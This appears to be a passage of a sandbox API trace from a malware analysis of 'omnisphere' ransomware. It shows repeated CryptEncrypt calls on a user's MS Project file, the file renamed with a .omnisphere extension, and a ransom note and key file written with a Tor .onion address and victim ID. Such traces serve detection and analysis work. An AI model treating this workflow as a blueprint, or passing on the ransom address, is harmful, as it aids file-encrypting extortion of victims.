hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.855] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.855] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.855] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.855] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.855] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.855] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.855] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.855] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.855] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.855] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.855] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.855] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.855] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.855] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.855] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.855] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.855] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.855] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.856] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.856] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.856] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.856] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.856] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.856] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.856] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.856] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.856] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.856] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.856] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.856] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.856] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.856] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.856] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.856] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.856] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.856] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.856] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.856] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.856] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.857] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.857] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.857] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.857] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.857] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.857] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.857] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.857] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.857] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.857] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.899] CryptDestroyKey (hKey=0x1639528) returned 1 [0115.899] CryptReleaseContext (hProv=0x16681b8, dwFlags=0x0) returned 1 [0115.900] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x12fe00, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0115.900] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0115.901] GetProcessHeap () returned 0x1600000 [0115.901] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b0) returned 0x1688a38 [0115.901] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\ms project\\16\\en-us\\global.mpt"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\ms project\\16\\en-us\\global.mpt.omnisphere")) returned 1 [0115.903] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT.omnisphere.id" [0115.903] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\ms project\\16\\en-us\\global.mpt.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0115.904] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0115.905] CloseHandle (hObject=0x388) returned 1 [0115.907] UnmapViewOfFile (lpBaseAddress=0x4010000) returned 1 [0115.923] CloseHandle (hObject=0x3c0) returned 1 [0115.923] SetEndOfFile (hFile=0x288) returned 1 [0115.923] FlushFileBuffers (hFile=0x288) returned 1 [0115.941] CloseHandle (hObject=0x288) returned 1 [0115.942] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US") returned 1 [0115.942] GetProcessHeap () returned 0x1600000 [0115.942] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1690f60 [0115.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0115.943] GetProcessHeap () returned 0x1600000 [0115.943] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x165f058 [0115.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x165f058, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0115.943] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0115.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0115.943] GetProcessHeap () returned 0x1600000 [0115.943] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16874a8 [0115.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16874a8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0115.943] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0115.943] GetProcessHeap () returned 0x1600000 [0115.943] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xba) returned 0x1639ed0 [0115.943] PathCombineW (in: pszDest=0x1639ed0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\!DECRYPT_OMNISPHERE.txt" [0115.943] GetProcessHeap () returned 0x1600000 [0115.943] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1688f80 [0115.943] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\ms project\\16\\en-us\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0115.946] WriteFile (in: hFile=0x288, lpBuffer=0x1688f80*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x1688f80*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0115.948] CloseHandle (hObject=0x288) returned 1 [0115.948] GetProcessHeap () returned 0x1600000 [0115.949] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1690f60 | out: hHeap=0x1600000) returned 1 [0115.949] GetProcessHeap () returned 0x1600000 [0115.949] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16315d0 [0115.949] PathCombineW (in: pszDest=0x16315d0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\unique_decrypt.key" [0115.949] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\ms project\\16\\en-us\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0115.949] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0115.951] CloseHandle (hObject=0x288) returned 1 [0115.951] GetProcessHeap () returned 0x1600000 [0115.951] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16315d0 | out: hHeap=0x1600000) returned 1 [0115.951] GetProcessHeap () returned 0x1600000 [0115.951] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16564d8 | out: hHeap=0x1600000) returned 1 [0115.951] FindNextFileW (in: hFindFile=0x16396e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee780bf0, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x12fe00, dwReserved0=0x0, dwReserved1=0xcd, cFileName="Global.MPT", cAlternateFileName="")) returned 0 [0115.951] FindClose (in: hFindFile=0x16396e8 | out: hFindFile=0x16396e8) returned 1 [0115.952] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\*", lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0x2636864e, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2636864e, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1639b28 [0115.952] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0x2636864e, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2636864e, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.952] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2635b069, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2635b069, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x26365f12, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x0, dwReserved1=0x0, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0115.952] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0x2631550d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x130324, dwReserved0=0x0, dwReserved1=0x0, cFileName="Global.MPT.omnisphere", cAlternateFileName="GLOBAL~1.OMN")) returned 1 [0115.952] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x262ef2ec, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x262ef2ec, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x262ef2ec, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="Global.MPT.omnisphere.id", cAlternateFileName="GLOBAL~1.ID")) returned 1 [0115.952] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2636864e, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2636864e, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2636d7ea, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0115.952] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2636864e, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2636864e, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2636d7ea, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 0 [0115.952] FindClose (in: hFindFile=0x1639b28 | out: hFindFile=0x1639b28) returned 1 [0115.953] GetProcessHeap () returned 0x1600000 [0115.953] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167bdc8 | out: hHeap=0x1600000) returned 1 [0115.953] GetProcessHeap () returned 0x1600000 [0115.953] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167bd30 | out: hHeap=0x1600000) returned 1 [0115.953] FindNextFileW (in: hFindFile=0x1639628, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 